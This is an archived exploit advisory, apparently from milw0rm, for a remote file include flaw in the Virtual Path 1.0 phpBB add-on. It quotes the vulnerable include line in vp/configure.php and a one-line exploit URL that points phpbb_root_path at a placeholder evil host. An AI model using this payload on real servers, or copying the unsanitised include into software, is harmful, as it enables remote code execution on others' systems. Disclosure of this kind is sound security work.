Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15896
HistoryJan 29, 2007 - 12:00 a.m.

Virtual Path 1.0 (vp/configure.php) Remote File Include Vulnerability

2007-01-2900:00:00
vulners.com
32

+=====================================================================

  •              Virtual Path phpBB <== v1.0                       |
    

+=====================================================================

  • Downlaoad S :http://sourceforge.net/projects/virtualpath/ |
    +=====================================================================
  • Author: GolD_M = Mahmood_ali && Contact: [email protected] |
    ======================================================================
  • SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team |
    +=====================================================================
  • In: /vp/configure.php |
    +=====================================================================
  • Vulnerable Code: & Line : 3 |
    +=====================================================================
  • include_once($phpbb_root_path. 'vp/conf.php'); |
    +=====================================================================
  • Exploit: |
    +=====================================================================
  • http://Victim.Com/vp/configure.php?phpbb_root_path=Evil? |
    +=====================================================================
  •                Tryag.Com & Dwrat.com                           |
    

+=====================================================================

milw0rm.com [2007-01-25]